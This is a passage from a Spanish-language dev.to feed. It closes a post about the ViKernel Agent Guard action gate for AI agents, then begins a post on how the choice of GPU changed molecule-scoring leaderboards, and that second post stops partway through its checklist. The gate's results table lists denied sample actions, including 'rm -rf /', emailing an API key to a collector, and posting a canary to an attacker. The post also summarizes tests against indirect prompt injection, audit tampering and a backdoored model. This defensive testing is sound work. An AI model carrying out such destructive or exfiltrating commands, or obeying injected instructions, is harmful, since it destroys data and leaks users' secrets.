&lt;td&gt;A, en lista blanca&lt;/td&gt;
&lt;td&gt;105 ms&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;read_file(project/notes.md)&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;ALLOW&lt;/td&gt;
&lt;td&gt;A, en lista blanca&lt;/td&gt;
&lt;td&gt;108 ms&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;run_shell(rm -rf /)&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;DENY&lt;/td&gt;
&lt;td&gt;D, peligrosa&lt;/td&gt;
&lt;td&gt;174 ms&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;send_email(to=collector, body=API_KEY=…)&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;DENY&lt;/td&gt;
&lt;td&gt;F, fuera de lista&lt;/td&gt;
&lt;td&gt;111 ms&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;http_post(url=attacker, data=canary)&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;DENY&lt;/td&gt;
&lt;td&gt;F, fuera de lista&lt;/td&gt;
&lt;td&gt;109 ms&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;transfer_funds(wire 1000)&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;DENY&lt;/td&gt;
&lt;td&gt;D, peligrosa&lt;/td&gt;
&lt;td&gt;109 ms&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;La misma puerta aporta cuatro resultados más de nuestras pruebas:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Sondas de exfiltración:&lt;/strong&gt; 661 intentos en cuatro modelos, 0 fugas.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Inyección indirecta:&lt;/strong&gt; un documento con una instrucción oculta para enviar por correo un archivo de secretos. El agente la rechazó, y la sonda forzada de modelo comprometido fue negada en la puerta con la regla F.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Manipulación de auditoría:&lt;/strong&gt; cambie un byte y la verificación falla exactamente en ese registro. En la ejecución del 8 de noviembre falló en el registro 20 de 41, y la cadena limpia verificó.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Interruptor de parada:&lt;/strong&gt; al detener, toda acción se rechaza. Reanudar exige la clave del operador. En la versión con el kernel dentro de los pesos, el kernel volvió a RUN tras la reanudación firmada.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Por qué viaja con los pesos
&lt;/h2&gt;

&lt;p&gt;Trabajos publicados muestran que el comportamiento de seguridad aprendido de un modelo puede eliminarse con ajuste fino en minutos por menos de un dólar. Una barrera que vive en un envoltorio se queda atrás en el momento en que se copian los pesos.&lt;/p&gt;

&lt;p&gt;La ruta de parada de ViKernel no es comportamiento aprendido. Es un circuito aparte más un sistema operativo seguro que viaja en el mismo archivo, así que cada copia del modelo lleva su propio interruptor de parada, su política y su cadena de auditoría. En la versión integrada, Meta Muse Glimmer 30B ejecuta el kernel dentro de su propio decodificador y la autoprueba de arranque pasa 6 de 6.&lt;/p&gt;

&lt;h2&gt;
  
  
  Pruebe los seis escenarios
&lt;/h2&gt;

&lt;p&gt;Abra &lt;a href="https://huggingface.co/spaces/FINAL-Bench/ViKernel-Desktop" rel="noopener noreferrer"&gt;ViKernel Desktop&lt;/a&gt; y ejecute Agent Guard. Un clic cada uno: tarea normal, instrucción oculta en un documento, intento de persuasión como administrador, interruptor de parada, manipulación de un byte en la auditoría y el modelo con puerta trasera. Los seis pasan en vivo. El código está en &lt;a href="https://github.com/final-bench/vikernel-agent-guard" rel="noopener noreferrer"&gt;github.com/final-bench/vikernel-agent-guard&lt;/a&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  Preguntas frecuentes
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;¿Quién midió estas cifras?&lt;/strong&gt;&lt;br&gt;
VIDRAFT, sobre su propia demo pública. Cada escenario es un botón en una página que cualquiera puede abrir, y cada decisión queda en una cadena de auditoría que el visitante puede volver a verificar en su navegador.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;¿La puerta ralentiza al agente?&lt;/strong&gt;&lt;br&gt;
El kernel decidió las acciones anteriores entre 105 y 174 milisegundos. La mediana en nuestras ejecuciones con Muse Spark es de 195 milisegundos por decisión.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;¿Qué ocurre si la propia puerta falla?&lt;/strong&gt;&lt;br&gt;
Falla cerrada. Un error nunca es un ALLOW. El veredicto devuelve DENY con el motivo adjunto.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;¿Se publican los pesos con puerta trasera?&lt;/strong&gt;&lt;br&gt;
No. Permanecen privados. El laboratorio muestra el mismo prompt respondido dos veces, sin protección a la izquierda y sobre ViKernel a la derecha.&lt;/p&gt;

&lt;h2&gt;
  
  
  Lectura adicional
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="https://dev.to/_0e3192755d4df45b92"&gt;Notas de ingeniería VIDRAFT&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://vidraft-ai-media.static.hf.space/a/darwin-superclue-nov-2026-math-science-reasoning.html" rel="noopener noreferrer"&gt;Darwin-180B-RSI en SuperCLUE, noviembre de 2026&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>ai</category>
      <category>security</category>
      <category>llm</category>
      <category>machinelearning</category>
    </item>
    <item>
      <title>La misma molécula, otra GPU, otro puesto: cómo una tarjeta barata cambió un ranking sin dar ningún error</title>
      <dc:creator>김민식/학생</dc:creator>
      <pubDate>Fri, 06 Nov 2026 23:59:20 +0000</pubDate>
      <link>https://dev.to/_0e3192755d4df45b92/la-misma-molecula-otra-gpu-otro-puesto-como-una-tarjeta-barata-cambio-un-ranking-sin-dar-ningun-367c</link>
      <guid>https://dev.to/_0e3192755d4df45b92/la-misma-molecula-otra-gpu-otro-puesto-como-una-tarjeta-barata-cambio-un-ranking-sin-dar-ningun-367c</guid>
      <description>&lt;h2&gt;
  
  
  TL;DR
&lt;/h2&gt;

&lt;p&gt;Al mover la puntuación del Open Discovery Challenge (ODC) a trabajos de Hugging Face, quisimos elegir la tarjeta gráfica más barata que diera el mismo resultado. Re-puntuamos las mismas moléculas en tres tarjetas, con la escritura del ranking bloqueada. Dos tarjetas (L40S y A100) reprodujeron los valores registrados hasta el tercer decimal. La más barata (L4) no dio ningún error, pero puntuó más bajo: 87,329 en lugar de 88,106 en la temporada 2 y 80,504 en lugar de 81,427 en la temporada 4. Si insertamos esos valores en los rankings públicos de hoy, la molécula que va primera en la temporada 2 caería al puesto 13, y la del puesto 29 en la temporada 4 caería al 66. Y el ahorro habría sido de unos 0,007 dólares por envío en la temporada 2 y de 0,013 en la 4. La lección: cuando cambias el hardware de un evaluador, el chequeo que importa no es "¿arranca?", sino "¿reproduce lo ya puntuado?". Al final hay una compuerta de 20 líneas en Python que lo automatiza.&lt;/p&gt;

&lt;p&gt;Una aclaración de entrada: VIDRAFT organiza el ODC, y esta cuenta es de VIDRAFT. Es un incidente nuestro, contado con los números que medimos. Las puntuaciones del ODC son predicciones computacionales, no mediciones de laboratorio.&lt;/p&gt;

&lt;h2&gt;
  
  
  ¿Qué pasó exactamente al cambiar de tarjeta?
&lt;/h2&gt;

&lt;p&gt;El ODC puntúa moléculas (SMILES) con un verificador automático que combina seis ejes: actividad, unión, selectividad, ADMET, novedad y síntesis. Los pesos son públicos y los lees en &lt;code&gt;/api/seasons&lt;/code&gt;. En la temporada 2 (tuberculosis) son 20, 25, 25, 15, 10 y 5 puntos.&lt;/p&gt;

&lt;p&gt;Para dejar de depender de una sola máquina, probamos tres tarjetas de Hugging Face. Tomamos dos casos que ya estaban puntuados en el ranking (uno de la temporada 2 y otro de la temporada 4), los volvimos a puntuar en cada tarjeta y comparamos con el valor registrado. La escritura al ranking estaba bloqueada durante la prueba, así que ninguna de estas mediciones tocó el ranking real.&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Tarjeta&lt;/th&gt;
&lt;th&gt;Memoria (nominal)&lt;/th&gt;
&lt;th&gt;USD/hora&lt;/th&gt;
&lt;th&gt;Temporada 2: puntaje&lt;/th&gt;
&lt;th&gt;Temporada 4: puntaje&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Valor registrado en el ranking&lt;/td&gt;
&lt;td&gt;n/d&lt;/td&gt;
&lt;td&gt;n/d&lt;/td&gt;
&lt;td&gt;88,106&lt;/td&gt;
&lt;td&gt;81,427&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;1x Nvidia L4&lt;/td&gt;
&lt;td&gt;24 GB&lt;/td&gt;
&lt;td&gt;0,80&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;87,329&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;80,504&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;1x Nvidia L40S&lt;/td&gt;
&lt;td&gt;48 GB&lt;/td&gt;
&lt;td&gt;1,80&lt;/td&gt;
&lt;td&gt;88,106&lt;/td&gt;
&lt;td&gt;81,427&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Nvidia A100 large&lt;/td&gt;
&lt;td&gt;80 GB&lt;/td&gt;
&lt;td&gt;2,50&lt;/td&gt;
&lt;td&gt;88,106&lt;/td&gt;
&lt;td&gt;81,427&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Los precios y las memorias son los de la &lt;a href="https://huggingface.co/docs/hub/spaces-gpus" rel="noopener noreferrer"&gt;documentación de hardware de Hugging Face&lt;/a&gt; a fecha de hoy. L40S y A100 coinciden con el registro en todos los dígitos. La L4 se desvía 0,777 puntos en un caso y 0,923 en el otro.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fquickchart.io%2Fchart%2Frender%2Fzf-97002e12-9a45-42d1-87c2-44fe6f69e833" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fquickchart.io%2Fchart%2Frender%2Fzf-97002e12-9a45-42d1-87c2-44fe6f69e833" alt="Puntaje de la misma molécula por tarjeta" width="1600" height="840"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Una nota sobre el gráfico: el eje vertical empieza en 78, no en 0, para que se vea una diferencia de menos de un punto. Léelo con los números de la tabla, no con la altura de las barras.&lt;/p&gt;

&lt;h2&gt;
  
  
  ¿Por qué una tarjeta más pequeña no falló, pero sí cambió el resultado?
&lt;/h2&gt;

&lt;p&gt;Esta es la parte que nos preocupa más. Con poca memoria de vídeo esperas un error de memoria agotada: el trabajo muere, lo ves en el registro, cambias de tarjeta. Aquí no pasó. El trabajo terminó, escribió un puntaje con formato válido y ese puntaje era distinto.&lt;/p&gt;

&lt;p&gt;Lo que sí sabemos, medido eje por eje en la L4:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;El eje de actividad dio el mismo valor en las tres tarjetas (17,561 de 20 puntos). El modelo se cargó bien y los datos de entrada eran los mismos.&lt;/li&gt;
&lt;li&gt;La unión y la selectividad no llegaron al tope en la L4 (24,725 frente a 25,0), y los ejes que dependen de ellas bajaron proporcionalmente: ADMET, novedad y síntesis.&lt;/li&gt;
&lt;li&gt;Es decir, lo que cambió fue el cálculo estructural (el acoplamiento molecular), no la carga del modelo ni la lectura de datos.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Lo que no sabemos: la causa interna. Sospechamos que una configuración con menos memoria toma un camino numérico distinto sin avisar, pero es una hipótesis, no un hallazgo. No hemos aislado qué operación cambia. Por eso la decisión que tomamos no depende de la causa: depende de que la tarjeta no reproduce el registro.&lt;/p&gt;

&lt;p&gt;El riesgo práctico es este. Un fallo ruidoso se corrige. Uno silencioso se acumula: cada envío puntuado en la tarjeta equivocada queda guardado como si fuera comparable con los demás.&lt;/p&gt;

&lt;h2&gt;
  
  
  ¿Cuánto habría movido eso el ranking?
&lt;/h2&gt;

&lt;p&gt;Pregunta justa: ¿0,78 puntos es mucho? Depende de lo apretado que esté el ranking. Lo medimos contra los datos públicos de hoy (7 de noviembre de 2026), leyendo &lt;code&gt;/api/leaderboard&lt;/code&gt; de cada temporada. Este es el código:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;json&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;urllib&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;request&lt;/span&gt;

&lt;span class="n"&gt;BASE&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;https://final-bench-open-discovery-challenge.hf.space&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;puntajes&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;temporada&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;int&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;list&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;float&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt;
    &lt;span class="n"&gt;req&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;urllib&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;Request&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;BASE&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;/api/leaderboard?season=&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;temporada&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
                                 &lt;span class="n"&gt;headers&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;User-Agent&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Mozilla/5.0&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;})&lt;/span&gt;
    &lt;span class="n"&gt;entradas&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;json&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;load&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;urllib&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;urlopen&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;req&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;timeout&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;90&lt;/span&gt;&lt;span class="p"&gt;))[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;entries&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;total&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;e&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;entradas&lt;/span&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;total&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="ow"&gt;is&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="bp"&gt;None&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;puesto&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;total&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;float&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;todos&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;list&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;float&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;int&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;sum&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;x&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;todos&lt;/span&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;x&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;total&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;

&lt;span class="c1"&gt;# (temporada, valor registrado, valor medido en la tarjeta barata)
&lt;/span&gt;&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;temporada&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;registrado&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;barato&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="p"&gt;[(&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mf"&gt;88.106&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mf"&gt;87.329&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mf"&gt;81.427&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mf"&gt;80.504&lt;/span&gt;&lt;span class="p"&gt;)]:&lt;/span&gt;
    &lt;span class="n"&gt;todos&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;puntajes&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;temporada&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;T&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;temporada&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="nf"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;todos&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt; filas | registrado &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;registrado&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt; -&amp;gt; puesto &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="nf"&gt;puesto&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;registrado&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;todos&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
          &lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt; | con la tarjeta barata &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;barato&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt; -&amp;gt; puesto &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="nf"&gt;puesto&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;barato&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;todos&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Salida de la ejecución de hoy:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;T2: 7942 filas | registrado 88.106 -&amp;gt; puesto 1 | con la tarjeta barata 87.329 -&amp;gt; puesto 13
T4: 4853 filas | registrado 81.427 -&amp;gt; puesto 29 | con la tarjeta barata 80.504 -&amp;gt; puesto 66
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Temporada&lt;/th&gt;
&lt;th&gt;Filas del ranking&lt;/th&gt;
&lt;th&gt;Valor registrado&lt;/th&gt;
&lt;th&gt;Puesto&lt;/th&gt;
&lt;th&gt;Con la tarjeta barata&lt;/th&gt;
&lt;th&gt;Puesto&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;2 (tuberculosis)&lt;/td&gt;
&lt;td&gt;7.942&lt;/td&gt;
&lt;td&gt;88,106&lt;/td&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;87,329&lt;/td&gt;
&lt;td&gt;13&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;4 (analgesia no opioide)&lt;/td&gt;
&lt;td&gt;4.853&lt;/td&gt;
&lt;td&gt;81,427&lt;/td&gt;
&lt;td&gt;29&lt;/td&gt;
&lt;td&gt;80,504&lt;/td&gt;
&lt;td&gt;66&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;En la temporada 2, entre 87,329 y 88,106 hay otras 12 entradas. En la temporada 4 hay 37. Dicho de otra forma: un desplazamiento menor a un punto, en un ranking con miles de filas, es la diferencia entre el primer puesto y el puesto trece. Y si un ranking reparte un premio (la temporada 2 ofrece 2.000 dólares), el puesto depende de la tarjeta que corrió el trabajo. Una puntuación comparable tiene que ser independiente de la máquina que la calculó.&lt;/p&gt;

&lt;p&gt;Para que no haya malentendidos: este cálculo es hipotético. Insertamos un valor medido en la tarjeta barata dentro del ranking actual para ver dónde caería. Ningún envío real fue puntuado en la L4 ni cambió de puesto.&lt;/p&gt;

&lt;h2&gt;
  
  
  ¿Cuánto ahorraba la tarjeta barata?
&lt;/h2&gt;

&lt;p&gt;Aquí viene el dato que cierra el argumento. La L4 cuesta 0,80 dólares la hora frente a 1,80 de la L40S, pero tarda más en cada envío. Medimos segundos por envío y lo convertimos a dólares (segundos por precio por hora, dividido entre 3.600):&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Tarjeta&lt;/th&gt;
&lt;th&gt;Temporada 2: segundos por envío&lt;/th&gt;
&lt;th&gt;USD por envío&lt;/th&gt;
&lt;th&gt;Temporada 4: segundos por envío&lt;/th&gt;
&lt;th&gt;USD por envío&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;L4&lt;/td&gt;
&lt;td&gt;724,9&lt;/td&gt;
&lt;td&gt;0,161&lt;/td&gt;
&lt;td&gt;207,1&lt;/td&gt;
&lt;td&gt;0,046&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;L40S&lt;/td&gt;
&lt;td&gt;336,2&lt;/td&gt;
&lt;td&gt;0,168&lt;/td&gt;
&lt;td&gt;117,3&lt;/td&gt;
&lt;td&gt;0,059&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;A100 large&lt;/td&gt;
&lt;td&gt;326,1&lt;/td&gt;
&lt;td&gt;0,227&lt;/td&gt;
&lt;td&gt;134,5&lt;/td&gt;
&lt;td&gt;0,093&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;En la temporada 2 la L4 es 2,2 veces más lenta que la L40S, y por eso su ventaja de precio por hora casi desaparece: 0,161 frente a 0,168 dólares por envío, una diferencia de 0,007. La A100 es un 35 % más cara por envío que la L40S sin ganar velocidad (en la temporada 4 incluso es más lenta). Las pruebas usaron tres repeticiones de acoplamiento en la temporada 2 y una en la temporada 4, así que no compares los segundos entre temporadas.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fquickchart.io%2Fchart%2Frender%2Fzf-d3a25dab-f15c-4e77-960a-5d2af4fa23c4" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fquickchart.io%2Fchart%2Frender%2Fzf-d3a25dab-f15c-4e77-960a-5d2af4fa23c4" alt="Costo por envío puntuado en cada tarjeta" width="1600" height="840"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Si hubiéramos elegido por precio por hora, habríamos escogido la L4 y ahorrado entre 0,007 y 0,013 dólares por envío a cambio de resultados que no coinciden con el registro. La decisión que tomamos fue fijar la L40S para puntuar y vetar la L4 para esa tarea.&lt;/p&gt;

&lt;h2&gt;
  
  
  ¿Cómo compruebas una tarjeta antes de aprobarla?
&lt;/h2&gt;

&lt;p&gt;El método es corto y sirve para cualquier evaluador, no solo para el nuestro:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Elige casos ya puntuados cuyo valor registrado conozcas. Usa casos fijos, no "el primero de la cola". Nuestro primer intento tomaba el primer pendiente y falló por completo (&lt;code&gt;IndexError&lt;/code&gt;) cuando la cola quedó vacía; además, cada tarjeta recibía una molécula distinta y la comparación no valía nada.&lt;/li&gt;
&lt;li&gt;Vuelve a puntuarlos en la tarjeta candidata con la escritura al ranking bloqueada.&lt;/li&gt;
&lt;li&gt;Compara con el registro hasta el decimal que te importe. "Parecido" no es una respuesta.&lt;/li&gt;
